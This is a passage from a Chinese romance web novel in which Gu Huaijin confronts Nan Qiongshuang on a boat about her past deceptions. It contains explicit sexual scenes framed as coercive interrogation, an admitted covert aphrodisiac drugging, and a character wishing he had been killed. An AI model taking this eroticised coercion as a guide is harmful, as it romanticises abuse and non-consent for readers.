一旦围上他那条绸带,这人便是一副油盐不进、六亲不认的神情。即便这么近,鼻尖几乎蹭着鼻尖,彼此交换鼻息,他依旧一派八风不动,仿佛丝毫不肯用心。 她不喜欢他这幅样子。太陌生、太冷漠、太置身事外。 她咬了咬唇,挂在他颈后的手,微微收紧了些。 手一交叠,刚刚好好,摸到了他发间的绸带。 她略一思忖,问也没问他,顺手将他那黑绸解开。 那滑凉的缎带,甫一飘散着解开,南琼霜便愣住了。 那双眼睛,比他冷峻神情,更陌生。 眼底通红、血丝密布。那双一贯温和朝她笑着的、清澈含情的桃花眼,竟然凉薄讥嘲、冷眼旁观地垂眸睨她,明明咫尺之距,却仿佛隔着迢迢千里,遥远、寒凉、漠不关心。 他何曾用这种眼神看过她。 这就是她要的吗。 她霎时遍体生寒,泪水在眼底慢慢摞成两堆,积在睫毛里。 她没资格哭了,她是最不该哭的人。 她看着他那双红得吓人的怨鬼般的眼睛,轻轻问了句:“最近没睡好吗。” “怎会。”顾怀瑾弯着眼睛朝她笑起来,如今,他即便是笑,也同她熟悉的样子不一样了: “托娘娘的福,日日酣然入睡、高枕无忧,睡到日上三竿才起来。等到起了身,便去大明宫门口偶遇娘娘,回头蘸着朱砂跟娘娘写几个毫无意趣的字,再听娘娘说些价值千金的承诺,日日如此,可谓充实。” 含恨的话。 可是,说一句,头便往下压一点,语气跟刀子剁骨头一般,却每个字都欲往她唇上咬,说到最后,半分没碰上,却好似已经叫他含在唇中了似的。她张张唇,才错愕地发觉,原来没有吻上。 他…… 如果是恨,未免离得太近了。 她手放在他肩上,缓缓抓皱了他的长袍。 顾怀瑾根本没有想吻她。 越说越近,越恨越近,不过是因为,他自视太高,离她太近,他忘了人若想戒什么瘾,首要的一步,是忌惮对方,不将那东西放在眼前。 他一只手上来,捧住她的脸,戴着扳指的手,轻轻刮了刮。 物是人非啊。可是为什么她长相和神情还一样。 她奔跑的气喘仍未停,嫣红的唇开了又合,合了又开,喘得他坐立难安。漂亮的唇珠、漂亮的唇瓣、漂亮的唇角,里面一点软软的可爱的舌,为他定制的毒药。 他旧疾复发。 又是这样,他阖着眼在心里骂,又是这样。气势汹汹杀气腾腾地来找她对峙,一句话还没开始对,先抱着亲上了。 顾怀瑾自己不明白为什么要吻她,就像南琼霜也并不明白何以他一边怨恨,一边接吻。只感觉自己被他按在怀里,他俯首不由分说地压下来,唇几乎是报复地将她唇瓣含在其中吮着,舌狠狠绞缠,她被他兜在臂弯里,头仰得几乎折断。 吻得这么凶,她已经难以相信这是爱。 可若说是恨,这又是一个吻。 他的眼泪,红红的,圆圆的,一颗一颗,砸在她脸上,滑落下去。 她不消睁眼,也知道是血,带着腥气。 她是不是逼他太过,太不在乎他的感受了。 他何曾欠过她,不论是天山还是无量山,他对她有恩啊。 她双腿控制不住地又软下去,人又软绵绵地往下坠了几寸,被他一把兜住。 他睁开眼,惊愕里带着点讥嘲:“你哭什么,不是一向只有我哭么。你也在乎?” 话跟刀子一样,可是话音落了,又阖着眼追来,手托着她后脑勺往前送,鼻梁抵着她鼻梁,愈发贪婪地轮换方向,用力到,连彼此鼻梁都硌痛了。 她慢慢浑身都开始发抖。仿佛千千万万只蚂蚁从脚底下爬上来,密密麻麻窸窸窣窣,爬上两腿又爬过两腿之间,一路往上翻山越岭,直到绕上她颈项,将她全身淹没在麻痒之中。 她忍得痛苦。 湖上四面忽然传来些断续的声音。 男人们的喝令:“福余三卫,奉令搜查!” 她恍然回过神来——这是在做什么,说要换衣服再把旧衣服沉进水里,结果至今衣裳还未脱完,遑论销灭痕迹。 她慌乱将他推开,紧着在他肩上敲了两下:“来人了,我衣裳还……” 顾怀瑾终于睁开眼,往身后竹帘睨了一瞬,冷冷嗤了一声。 他那种不屑神情,她一时看愣了。 从前他是最温厚的。哪怕无量山上,也还认得出,是天山上那个人。 她忧心忡忡,顾怀瑾却只是拥着她盘腿坐下,自己靠在船壁上,将她放在腿弯里,又将她在臂弯里放倒了。 再度埋首吻下来。 他已经太多日子不曾见她。无量山前,相逢不相认,十天八天的他尚能忍,无量山后,就完全忍不了,遑论她天天在大明宫附近晃。 负心的女人。即便她亲累了,他还没够,又何必在乎她的感受。 南琼霜实在有些受不了,从前他生气时,吻得也有点叫她招架不住,可是今天这人简直是胡作非为,她一面躲他,一面挣扎着想去收船板上那条堆在一旁的裙子,谁知,头顶的人一手压下她的肩,一顿: “别动。” 她霎时察觉有人上了船。 下一瞬,门口微微摇晃的竹帘,连声招呼都不打,兀地被人撩开。 露出女真人凶煞横戾的一张脸。 他们福余三卫,顶着女真人面孔,又有定王的号令,为所欲为横行霸道惯了,尽管未带敕令,也未同什么人打招呼,定王的名号在那,私闯民宅搜查平民,谁敢不从。 他抡开帘子跨只腿进去,大喝:“福余三卫,来拿人!速速……” “下船”两个字尚未出口。 那女真人已经牙关打颤,咬紧了嘴。 竹帘往上腾卷飞起又荡悠着垂下,打得门口噼里啪啦,来回露出一点里面 的景象。 船里头,那位方才在定王府雅室之内,被目无王法的定王常达殷勤款待的贵客,支起一只腿闲坐其中,怀里仰靠着一个人。 一个女子。墨发瀑布般垂下,丝缎般泛着光泽,迤逦盘在两人身侧。皮肤甚白,被顾怀瑾玄黑衣袖盖着,黑的黑,白的白,更显动人心魄。 层层叠叠的墨潭般的大袖里,露出一截雪白惊人的纤细小腿。 不近女色的人,俯首压吻,吻得难分。 窥见外头的动静,这位大有来头又难以揣测的国师先生,终于缓缓、缓缓地抬起头来。 那女真大汉心惊胆战地同他对上眼神,更加心惊胆战地发现,今日,他没带绸带。 一贯马背上凶悍奔杀之人,竟被慑得动不了了。 顾怀瑾慢条斯理地环臂拢袖,将那截小腿,珍爱地盖上。又将那女子脸孔捧在掌中,爱惜地推向自己怀里,不给人看。 倒是笑了。 “看什么呢?” “得,得罪……”他已结结巴巴。 下一瞬,轰隆一声,门口整个空了,竹帘被平平抛掷出去又打回门框,唯余一点湖上昏暗夜色。门口的人,连个影都寻不见。 余下军士在木船之中,提心吊胆地听见,舟中人,淡淡发了话: “滚。” 福余三卫屁滚尿流地撤走了。 南琼霜如蒙大赦,昏头昏脑地勾着他脖子坐起身来,将手中东西,用力朝舟外一抛。 咚一声,一物落水。 顾怀瑾面无表情地追着看出去,终于发觉,是他那把匕首。 容忍他如此吻她,原来又是骗,又是有计谋,心中早有了打算,借他失态,达成自己的目的。 他勾唇笑了笑。 面前人大功告成,如释重负,若无其事将后背长发拨出来一些捋顺,“好了,我没有多少时间。今日来不是为了问雾刀的话么。问吧。” 顾怀瑾像头一次认识她一般,含笑来回端详她。 怎会这样可恨,这样负心。吻过了就抽身而退,没事人一般放任他痛苦,连一点幻梦也要给他捅破击碎。 他就是她用后便丢的一个东西。 她一点也不觉得要负责的。一点也不觉得。 “好,那我问。”他想,还真是心死了好,一边问一边微笑,“他说你第一次见面,就对我下了椿药。是真的吗?” 第一句话就已经问得她难堪。 南琼霜面色不显,或许承认得从容会比较不丢脸,她干脆道:“是。” “好。”他愈发觉得这一切好笑,手顺着她交拢的外裳滑进去,在她皮肉上缓缓推着摩挲,“我说我怎么一见了你就受不住呢。” 假的,并且下作。 南琼霜咬着牙,听见心里的东西叮了咣啷砸碎了一地,她苦心经营的一切由下至上塌碎下去,她无力回天,只想维持一点面上的尊严。 她不哭,只笑,不发抖。 “那椿药有毒?” “对。”她执拗微笑,死不悔改。 “拼了命也要勾.引我,手段了得,决心了得,你不得手谁得手。” 她笑得仿佛得了表扬:“对。” “现在呢,现在还在用吗。”一想到或许是因为药物,他心下稍安,他也没有那么无可救药吧,手伸下去拨开了层层花瓣,深探进去采撷花蜜,“也在用吧,我知道。” 她忍着道:“没再用了。” 顾怀瑾一阵沉默,动作停了。 那他是为什么。 太可笑了,一听见她没再用那种东西,他心里竟然是一种被抛下了的不甘。 他道:“好,那么我放心了。少拿着你那种东西到我旁边来,有什么花招,全对着皇上使去,反正我没用了!” 南琼霜一时有点错愕,怎么这话说的怨气冲天? 他一旦动怒,事事变本加厉。未等她搞明白,一点深深的麻痹的战栗从身体里炸开,诡谲叵测地蔓延上四肢百骸,她被那点不怀好意地给予逼得难以开口,只听见他在上头,好脾性地追了一句:“那条狗还说,你事事骗我。装弱,装受伤,装爱我,扮可怜。” 她叼着唇瓣,额头有气无力靠在他脖子底下,手将他衣领抓皱了。 又是他那种自创的刑。 “是。” 他更加无法容忍,深恨着勾起指节。 她神色又渐渐漾开了,贴在他下巴底下,仿佛一朵泡在水里泡开了的花,艳丽悱恻,身不由己。 他喜欢这种方式。这个样子,她会听话。 他许久未言,专心致志地磋磨报复她。南琼霜再怎么难以集中,久而久之也觉得有些不对,仰着脖子睁开半眯的眼睛。 竟见他,眸光灼灼,痴涎迷醉,凝望着她。 那种眼神,堪称迷恋。 她在混沌中,有了一丝电光火石的了悟。 他爱她这种时候的脆弱。 他爱她顺从,爱她非他不可,没他不行。 这时候,她才终于明白他何以格外偏爱这种方式。 他喜欢掌控她。 他天生是个掌控欲极强的性子,只是从前太温柔,太好说话,以至于一切都叫他掩在谦谦君子的面具下,连她这种人精,都难以发觉。 其实,他凡事说放,又哪有真放了手的。自少年时便执掌全山的人,习惯凡事把关,凡事兜底,喜欢事事把握在掌心里。再怎么客气谦让,最后还是不动声色接过一切,全由他定夺。 他喜欢控制,又喜欢奉献。所以,他一边给,一边磨。 南琼霜想通的一瞬,立时觉得有趣极了。 顾怀瑾,从前那样端方,竟然怀着这种心思。 难怪他喜欢这种刑。难怪他管她叫乖乖。难怪他一边威胁,一边溺爱。 一边供养、一边掌控,他才习惯,他才心安。他自来就是这种人。 可是。 南琼霜忍下脑子里汹涌的春潮,痴愣愣地拨过他的脸,逼他对视。 他这个人,怎么知道,她刚刚好好、恰恰好好,吃这一套的。 吃这一套,且只吃这一套。 她喜欢掌控,也喜欢被掌控,喜欢宰割他人,也喜欢任人宰割。若是对她毫无招架之力的,如那李崖一般,她拿下了便觉得无趣,玩玩就丢了。若是一味掌控她——她不会被人一味掌控,非你死我亡。 他是如何知道,她喜欢这套把戏的。 倘若他本不知道。 顾怀瑾,他们天生一对。 顾怀瑾哪里知道她在想什么,只是见她忽然从未认识过他一般,郑重其事、着迷又陶醉地望着他,心里一点久旱逢甘霖的纾解。 他真心笑了一点:“干什么,看我。” 未等他得到回答,神色倏地一滞。 南琼霜笑着,一只手捧住他的脸,与她鼻尖相抵,一手下去,缓缓地解开他的玉带,拨开了他的衣摆,收紧五指。 顾怀瑾当即心神不宁地嘶了一口气,绷直了背 ,望着她,窒着呼不出来。 南琼霜含着笑,去摸他干裂的唇,满足又心疼。 真是老天爷送到她身边来的。 倘若她猜的对。 他这种人,不会满足于单纯的掌控吧。 她半阖起眸子,眼里一丝异彩,歪着头,从他唇旁迤逦吻下,停在他喉结旁,轻吐了四个字: “怀瑾,乖乖。” 第152章 顾怀瑾不明白她何以忽然用这种爱昵的称呼唤他。 他愣怔了一瞬,望着她。 她的眼神,与这两字相应,是同样的珍视和怜爱。 仿佛很在乎、很心疼、很爱他似的。 几乎是一瞬间,他就呆呆地落下泪来。 他慌忙垂下眼帘。 就两个字,他内里就化成一滩水。这些日子的恨意、怨气、嫉妒,反复坚定过的深仇大恨,她两个字,偃旗息鼓。 她如果真的肯管管他,他什么都能放啊。 面对她时,他真的太贱了。 还不知道她又打的什么算盘呢。 他蓄起一点冷笑,终于又有力气抵挡她的凝望,抬起眼来看她。 南琼霜手上使了点力,缓缓地圈着手指推拿着,一面轻轻、轻轻地凑近了,停在他鼻尖前。 若有似无的呼吸,若有似无地在他面上撩拨。 他心浮意乱,口干舌燥。 他忽然发觉,连她呼出来的气,他都想凑上去吸两口。 他自以为若非中了伎俩,不至于病发至此,愈发冷笑起来,手指往深处钻:“你究竟又对我使什么了,说。” “什么?”她仰长脖子,难以言语,呜咽了一声,深处一阵发酸的异物感,她头昏脑涨。 什么“使了什么”。她眼下唯外头一件几乎透明的云纱外裳,就是有天大的本事,也没有藏东西的地方。 顾怀瑾是打定了主意,以为她用了什么手段,阴沉叵测地望着她,仿佛她失态,他根本不屑参与。 她最讨厌他一副八风不动的模样,从前就恨他能装,现下更厌他能装,用了点指甲环着刮了一圈,笑道:“说什么呢。” 对面人立时压抑着低叹了一声,嘶着气强道,“你……” 话没有了,他皱着眉仰长脖子强忍。 南琼霜看得,几乎有点入迷。 他生得真好看。 情念烧心、难以自拔时就更好看。白得如玉的人,面上蒙了一层浅浅的悱恻的粉,鼻梁凝着点细密的晶莹的汗,身不由己地蹙着眉低喘时,秾糜痛愧,仿佛一个破了戒后自恨、却又欲罢不能的堕仙。 “用了什么,什么也没用。”她捧着他脸孔,一面感慨,一面凑上前去,鼻尖蹭他的鼻尖,低低地哄他,“亲亲好不好,乖乖。” 好。 她这样温柔,他完全痴了,一只手拢住她的手叫她再快再紧些,垂着眼偏首凑近。 真到了她唇畔,才惊觉自己要做什么。 他骤然睁开眼,堪堪止住。 又上当了,又是骗局。 等他真吻上去,她就又会抽身而退、扬长而去,然后,鉴赏他的痛苦,欣赏他的失态。 要他吻她,这女人会有这么好心? 他撤身回来,汗涔涔地拉开距离,往后倚在船壁上,连声低吁,恍惚了片刻。 整个人沉醉痴迷,手上却还殷急不停——她的手掌,太软太柔,倘若不挟着她,他非被她折磨死不可。 朦胧间,他睁开一丝眼缝,惊见黯淡月色之中,她瑰丽面孔在水波的光里明灭,双眼一点亢奋的、兴致盎然的光,心里猛的一个激灵。 他强撑着冷嘲:“看什么呢。不是说要一刀两断,怎么还要跟我做这个。” 她缓缓地、轻轻地逼近了。 他心惊肉跳。她连呼吸都带着女妖一般的魔力。 她弯着眼睛笑:“乖乖不喜欢?” 当然喜欢。 她不准他见面的日子里,不知有多少回,他唯有一边想着她,一边做这种事,才睡得着。 可是,他带点讥诮的浅淡笑意,睨着她,什么也没说。 承认了又能如何,她会管吗,会在乎吗。不还是任他像个万蚁噬心满地打滚的可怜虫一样,冷眼旁观。 她不会顾及他任何,所以他再也不在她面前表露任何脆弱。 顾怀瑾笑着:“我无所谓。” 南琼霜立时不甘。 这么多年以来,入过她掌心的男人,没有一个有本事说她“无所谓”。 “真的吗?”她循着摸到了他命脉之上千里之堤毁于蚁穴的一个点,好整以暇地用指甲逡巡威胁,当即他便咬着牙闷哼一瞬,头高高仰起,颈上迸出一根青筋。 淡绿色的、劲勃的青筋。蜿蜒地同他锁骨连在一处,随着喉结滚动,若隐若现。 他几乎叫了一声。 “什么呀。”她心满意足笑起来,轻轻在他那根筋上啜吻,“冠冕堂皇,还当你多能忍呢。” 顾怀瑾怒得嗤笑起来,缓缓攥紧了拳。 玩他,是吗? “行了吧。”他咬着牙笑,一丝冷气被他嘶进齿间又吐出,他喷着吁喘,一把抓住了她双肩,“还要耍我多久啊,乖乖。” 下一瞬,强弱逆转,胜败轮易,不及惊呼,她骤然被按着往下一倒,只看见船壁和船壁前的人倏地旋了上去,再定睛,只有夜色里黯淡的船顶,和……一张覆上来,挡住了眼前船顶的脸孔。 南琼霜怔了片刻,没反应过来。 她挂在身上的外裳,也被他拆糖纸一般掀开了,他好整以暇地伸手进来,来回摸她的腰身,指腹在她腰窝里打转。 他爱她,不止她这个人,还有她这具身体。 幽暗的船内,一点月光自湖面反射进来,映得舟中人面孔一半明亮,一半幽暗。他坐在船中,将人放倒了,却还不紧不慢,慢条斯理地,摆弄着他大拇指上的白玉扳指,除下来,缓缓套在中指上。 一直套到指根。 南琼霜不知为何,直觉不好,提心吊胆地吞咽了一下。 “乖乖。”他笑,“玩够了吧,该我了。” “你等一下……”她当真有些胆颤,支着手脚欲往旁躲一躲,顷刻便有一只手扣在她腰间,按得她浑身发烫,她一个哆嗦,“等一下,我会说的,你不必……” “‘你会说的’。”他笑着,“我怎么知道,你说的是否是真的。” 南琼霜忌惮地眨了一下眼,揪着外裳的衣襟问:“戴戒指干什么。” 顾怀瑾朝她一哂:“弹琵琶。” 南琼霜难以置信地望着他叵测神色,未等再问,顷刻尖叫一声。 “我先问。”他单手支在她身侧,俯身凝望她,手上不慌不忙地将琵琶弦轻拢慢捻,“阴阳钥失窃,究竟是怎么回事。” 她平躺在船板上,尽管兵荒马乱,脸上却还带点揶揄笑意,“这么多年了,你们天山连这点事……” 顾怀瑾当心一拨。 四弦铮然。 她被这一阵突兀乐声震得原地弹起,急促惊叫一声,头脑发蒙着就要躲。 顾怀瑾笑吟吟地按着她肩膀,迫她入座,一面奏乐,一面低首下来,额头在她耳畔厮磨: “乖乖,说。” 那一下,震得她腿脚发软,她搡着他的肩膀,左闪右躲地扭着避他,却不论如何躲不开,连声哀道:“好了,好了……我说。当年,一半叫宋瑶洁拿了,一半在摄政王手中。” “后来呢。”他重起一段。 “后来……”她愈发被那激切曲子感动得泪眼潸然,不得不将手指含在齿间咬着,顾怀瑾假惺惺地替她拭泪,她道,“后来,我把这两半阴阳钥都拿在手中,交给了你。” 原来当年藏在公文中的阴阳钥,是她还回来的。 “代价呢。”他不冷不热地问,曲段渐趋高昂,他指法好,愈发拨得紧了。 “代价……”她万万想不到他竟然要她在这样的曲子里分神答他,头晕眼花,神思涣散,“代价……帮宋瑶洁开了九曜逆轮,帮摄政王下了山。” “九曜逆轮?!”他一惊,“九曜逆轮也 是你开的?!” “别吼!”如今她最受不了他凶她,“也是我关的。要不是我关的,不知道要烧成什么样呢。” 他震惊又心有余悸,默了许久,愈发觉得头一次认识眼前人,惊疑不定。 “为什么要开,又为什么要关。”他续上前章,见她已经听得招架不住,好耐性的缓拨,“又为什么要放那人下山,一并给我吐出来。” “宋瑶洁遭遇的那些事,你一直在天山上,慧德竟瞒住了你吗?”她在连连乐声中勉强道: “慧德凌虐她,宋瑶洁将他杀了,就在慧德要去漱玉斋中教她佛法那天。宋瑶洁恨他至极,连带着恨天山,自然就烧了山。若不是我顾及你,同她讲,‘杀了慧德无妨,何必迁怒天山’,你们天山灭得还要更早呢。” 顾怀瑾不论如何没想到,当年那场山火,竟有如此内情。 出了这么大的事,他竟然从头到尾蒙在鼓里。 他们天山,竟然是给一个细作保下来的。 他心中愧怜,望着她旖旎面庞,愈发受不住,低首下去吻她。 “那么,摄政王呢。”他望着她被自己吮吸得红艳艳的唇,心中瘙痒,又起一曲,“为什么放他下山。” 她愈发没有力气,一曲连着一曲,再好的耳朵也听坏了,瘫在坐席上半阖着眸子哼着,“……不放他下山,给你知道了,他不得死么。” 他简直不敢相信自己逼问出了什么,顿时四弦嗡鸣,几乎绷断,声如裂帛。 “怎么,窃走阴阳钥,你还不舍得让我处置他!” 她被那惊响吓得又是一声尖叫,浑身发抖,难以抵挡地咬着唇瓣,心里只有一个念头。 说错话了。 至少这件事,她该瞒下的。或者,应该委婉些。 都是因为…… 顾怀瑾又惊又怒,拨弦拨得几乎已看不出手法,唯有一点翻飞的残影,一手按住坐立难安、抓心挠肝的贵客,不由她放肆离场,“你就这么向着他?担心他?怕他死?怕我对付他?从那时候开始,就与天山为敌,包庇窃贼,私心偏袒他,是吗?!” 她答不了,自身难保。 顾怀瑾沉声:“说话!” 她说个屁! 她无力抓住了他奏乐的手,腰软胆寒,狼狈淋漓,“你别,戒指……” 那戒指,刚刚好好,被他抵在琵琶上一个点。弹奏时,噪音尖利,她实在是听得受不了了。 至少把那戒指撤下。 “回答我,乖乖,回答我。”顾怀瑾躬身压下来,额头逼到她额头前,鼻梁与她鼻梁相抵,声声字字,厉厉催逼,“为什么放他。为什么偏袒他。为什么同他整日搅合在一处。为什么同他认什么表兄妹情谊。你明知道我最厌他!” “怀瑾!乖乖,你……”她无他法,急着解脱,叠着声去亲他——他这人一旦吻上,便容易服软些。 顾怀瑾顷刻偏首迎上来,未等触及,已垂眼开了唇。 汹涌的吻,呼吸若潮,舌缠如浪。 谁知,趁着唇舌交缠,他愈发按着她颤抖的肩,将她一寸寸强压回原位,不准她起身,更不准她动弹半分。 再分开时,嗓音哑得叫人心燥,抓着她肩膀的手,愈发筋骨凸起,“说啊,为什么放他。说啊!” 说什么。还有什么好说的。 就只是为了救李玄白而已。 她闭着眼强忍着乐声造次,偶尔迸发出一两声喝彩,可是任他怎样逼迫,也不答了。 顾怀瑾不甘又不甘、惊怒再惊怒地拷打许久,也未得她只言片语,再不愿相信,心中也如明镜。 好,好,好。原来她偏袒他至此。 他那般看重的天山,于她而言,竟还没有一个李玄白重要! 他愈发觉得自己所爱非人,心中含恨,憋闷得几乎头晕眼花。搭眼一看,面前人半分愧色也无,悔意更是没有一星半点,还趁他气得眼前发黑,鬼鬼祟祟地往一旁偷挪。 他怒得简直笑出了声。 好,好,好。 他噙着最后一点好耐性的笑,一把将人扯回来,骤然沉首下去抵退她额头,逼得她再度平躺着仰首,一面道,“除了阴阳钥,还有哪些事骗过我。我一一问,你一一答。” 第153章 “那条狗说,从前你跌下台阶、烫伤手、被机关中的箭射穿,桩桩件件,其实都是自导自演,有意为之。”他声色冷寒,“是吗?” 她垂下眼凄凉笑了一声,这些腌臜事,到底还是从他口中听见了。 她打定主意要去疴刮骨,不计代价,利落道是。 顾怀瑾手上动作滞了一瞬,长发自肩上披垂而下,与她华贵无匹的云纱羽裳一同盘堆在她身侧,看不清脸上表情。 他许久未说话。 良久,他撤出手来,双手撑在她身侧,深吸一口气,些微打着晃,“用这些事骗我,是为什么。” 她答不了。 利用他的善心作恶,利用他的信任作祟。欺骗他、辜负他、背叛他,最后,利用他的爱,骗得他直接导致了天山覆灭。 天山因他的错误而倾颓,她不必想,也知道这对他意味着什么。 “是为了让我爱你吗。要我放松警惕,被你牵着鼻子走。要我心疼你,怜惜你,时刻牵挂你,你知道我心软……故意用这一点,来对付我。” 她不说话了。 这时候,忽然想起天山上,暮雪院里那些日子。山上寒凉,她夜里总睡不稳,他怕她冷,夜夜都抱着她睡。到后来,他在,她才能安睡。 暮雪院落英缤纷,朝瑶峰气象万千,那些鸟鸣啾啾、蝉鸣依稀、月亮从冰裂纹雕窗外笼罩大地的夜晚,不知有多少,是虚情假意、虚与委蛇。 少年人的第一次心动,是一场彻头彻尾的骗局和谋杀。 “说话。” 她眼里蓄起两堆泪,抿着唇,缓慢地、重重地、点了头。 两行泪,汨汨自眼角淌下。 好。 顾怀瑾吸了吸鼻子,笑了一瞬。 他好似并没多大反应,平静如常地笑着问:“你是真的想过,要利用我当年的爱和心软,一剑杀了我么。” 她答:“是。” 好。 他无话可说,继续笑:“从最开始,就是明知我这个人心软、心善,糊涂、好利用,专门为我想了一套法子,自伤自虐,叫我信你么。” “是。” “所以,皎皎,我待你一番好心,你想的全是利用。只等我爱你爱得发疯,便大功告成,背叛我,取走镇山玉牌,是么。” 皎皎。 这个名字,已经太久、太遥远。连她自己听起来,都仿佛黄纸上洇了一颗泪,晕出一团模糊、泛黄、潮湿的影,一捅即破,背后是空无。 她仍是道:“是。” 他说:“皎皎。这样待一个爱你的人,你究竟是个怎样的人啊。” 他这句轻轻的话一出口,她顿时含着泪明白。 他们不可能了。 他抬起头,从竹帘的歪斜的缝隙里,遥遥望出去,望着远方湖水和月亮。 出神地、轻轻地、呢喃出声:“皎皎,你有没有想过,当年,还是杀了我比较好。” 他眼睛里反射着湖面上的月色,两团痴然的、惨白的、空洞的光。 “杀了我,门派倒了,我也算殉了山。即便黄泉之下,依然有愧,总归要比现在好许多。” 他愣愣将眸光收回来,望着她。 她双颊潮/红,悲愧含泪,他望着她悲伤,也没有一点波澜,“至于你,也就心无旁骛地,继续走你该走的路,做你应做的事,没有人纠缠了,对不对。” 她不明白他说这些话是什么意思。 可是这些话,必然要引向一个结论去——她最害怕的那个结论。 她咽下恐慌:“不行。” 顾怀瑾怔忪的眼睛一眨,恍惚回过了神。 他问:“那么,我凭什么活着呢。” “什么叫‘凭什么活着’。” “门派倒了,我凭什么可以活着呢。” 他歪着头,茫然得像个孩童: “凭你爱我吗。但那不公平。其他人不曾得到你的厚待,就活不下来。是我轻信,他们是被我害死了。其实,最该死的是我。我一己私心,拖累了全山。又因一己私情,自己捡了条命。我是最该死的,可活下来的偏偏是我。” 他痴痴望着自己摊开的、什么也抓不住的手掌,痴痴地念: “我是最该死的,可活下来的偏偏是我。” 他问:“皎皎,你当年,既然要杀,为什么不杀呢。” 南琼霜望着他哀凉的、平静的面孔。 他绝望而麻木,麻木到有了种孩童般的懵懂。望着她,没有责备、没有怨恨、没有愤怒,千帆过尽以后,惨祸已成往事,他只是想问问。 她咽下泪:“因为我爱你。” 他木然眨眨睫毛:“但是,我们不能在一起。” 到底是得了这句话。 “我没有要跟你在一起。”她觉得自己应当轻松,坐起身子,伸出手覆在他手背上,倒去安慰他,“我今天来,就是为了叫你不再同我在一起。因而今日,你问什么,我答什么。” 那条外裳披挂在她肩上拖曳,金屑闪动,在他眼里,美得仿佛仙娥。 她连这种话都说得自如,他想,半点红尘不沾,怕不是 真是个仙子。 她的手缓缓收紧,他的手指一根、一根并在她掌中,温柔而认真,“怀瑾,天山之祸,错不在你,在我。你要恨,也不该恨你自己,该恨我。” 他望着她坦然神色。 她觉得,自己语气还算沉着,表情还算冷静,不至于叫他瞧出来。 她轻轻劝:“恨我吧。” 顾怀瑾什么也没说。 忽然。 他倾身过来吻她。 她始料未及,被他一下子压得往后倒下去。他手按在她背后,承住她,缓缓地托着她往下,将她放倒在船板上。 膝盖顶开她双膝,扣着她手腕贪婪深吻。 吻像嗜人的海洋。 他今日是打定了主意要将她吞吃下去,两人合为一处。 “好。”良久,他气喘吁吁地放开了她,已经吻得双唇晶莹、脖筋虬起,手指挑开她外裳,粗糙的掌心环着她腰身一路碾磨,到最后,终于取来了一旁的一只捣臼。 公孙红爱花,犹喜碾磨花瓣,以碎末制作胭脂,此时放了一只捣臼在舟内。 南琼霜亦喜欢这些花儿粉儿的,他晓得,于是拿过来,触及了最芬芳之处。 他杵入其中,缓缓地捣。 “那么,我今日问一次,也只问这一次。” 南琼霜闻着那扑鼻花香,听天由命地闭了眼。 “你同那人,到底是怎样。” “那人?”她被熏得眼底泛泪,苦苦招架。 “你知道我说的是谁。”面对她,他连他的名字都不愿提,更不愿听。 “什么叫‘怎样’。” “你爱他吗。” 她骤然感觉花瓣被那研磨杵捣得七零八落,一阵实实的、笃笃的响,她慌张失措地惊叫一声,不得不抓着东西稳住了。 他是真抱了决心来的。 她慌忙斡旋:“不爱,当真不爱。” “那你爱的是我?”芬芳熏人,他怕殃及池鱼,将她膝弯扶上了自己肩膀。 她纤细足踝上,一根纤细红绳,吊着一枚金铃,在他耳侧,响得人心焦。 他忽然缓了片刻的攻势,她见缝插针着平缓,润润干涩的喉咙:“……对。” 他轻笑了下,侧首在她腿上一吻。 铃声歇了两瞬,顷刻又摇起来,碎碎泠泠,在小舟中,萦绕不息。 “你说爱我,我真的能信么。”他愈发磨得急了,这个问题,他思念若焚的这几天来,已经在他脑海中徘徊不停,他稍微一想便含恨,“你早就说过爱我。在天山上,就一直说,一直说。可是,到现在,几分真几分假,我都不知道!” “我当真……”她几乎快被那异香药翻了,身上一阵销魂的酸涨,闪躲无门、百爪挠心,“我当然……!不然当年,又为何留你!” “既然爱我,”他冷哼一声直怼进捣臼正中,锤得捣臼四壁几乎涨裂,“又为什么放他下山!” 她尖叫一声,半个字也答不出了,嘶着嗓子抽气,眼前大块大块的颜色彼此相融着洇在一处,天旋地转、头晕眼花。 “说啊。既然爱我,为什么放他!” 又是一记重舂。 她高喊一声,手塞进齿间,咬着自己掌缘,强自平缓。 他不甘,紧跟着刀剑相加,步步紧逼,一时整艘船随着他动作打晃,击水声、捣花声和着铃声交叠漾开,“说啊!为什么放他,又为什么说爱他,为什么天天去大明宫晃,为什么天天在我眼前去大明宫晃,我不在眼前,你岂非住进大明宫了!” 她实在受不了,神思涣散茫茫,唯有哀蹙着眉连声嘘叹:“没有……你别……” “你对他到底是如何!”铃铛一阵哗啦作响,给摇得几乎绕着红绳兜转,“这个问题,这么多年,我问过你千百回了!到底是如何!你今日不给我个答复,你休想——” 话骤然停了。 今日若不给答复,往后连问的资格都没有了。 他仿佛给人兜头一盆冷水泼下,泪落如雨。 “你若不给我个答复,”他只僵了半瞬,再度歇斯底里地狂摇,血泪四散飞溅,打在她脸孔上,她几乎心痛得要死掉,“你若不给我个答复,我就是死了也不甘心!” “我……”她根本说不出话,耳鸣又晕眩。 “你知道的,我只会问一次,只会今天最后问一次。”他忽然停下来,一字一字,郑重其事,“不论你如何作答,答案我也只会记这一天。明天之后,二人再无干系,所以真话假话,都不重要,我只是要个回答!” 她的眼泪登时从眼底决堤而出,两侧分流下去,灌满了耳朵。 “我没有爱过他,没有爱过。不管你要听真的假的,答案就只有这一个。我说没有就是没有!” 他听得这句话,仿佛溺水之人得了口烟,末路之人得了种安详的死。 他轻轻喘着,快虚脱一般,满头大汗,眼底一点水光。 这种痴狂时刻,他眼圈一向是浓郁的粉。玉雕般英俊的人,带了点秾丽之色。 真好看啊。 他当即气势汹汹地追着她唇吻来,索吻到她头脑嗡鸣、溃不成军。 停了半刻,两人都心知没有余裕再闲话——就这一晚上,就只有这一晚上,再多就没有了——他复又拾起那杵,连捣如急雨,捣臼中花瓣早经受不住,黏软如一滩香泥,他心急火燎丝毫顾不得,“那么,我再问你,你真同那人亲过吗?!” 她呼吸和神智一同僵滞一瞬。 雾刀,那条死狗,连这种无关大局的小事,都告诉他了。 是咬定了他过不去、想不通,故意把这事告诉他的。 那条死狗。 顾怀瑾眼见着她倏然变了眼神,再傻也知道是何意,心中轰隆一声巨响,仿佛被一道惊雷自天灵盖齐齐劈开,两行血珠从眼底喷薄而出: “你亲过他?!你当真亲过他?!” 南琼霜登时抽抖得连扶都扶不住,自己都未发觉,已经一阵叠声的失控的哀呼,身前人亦大吼得失态,“你真亲过他?!为什么亲他?为什么?!亲他做什么?!为什么亲他!凭什么?!你——!?” 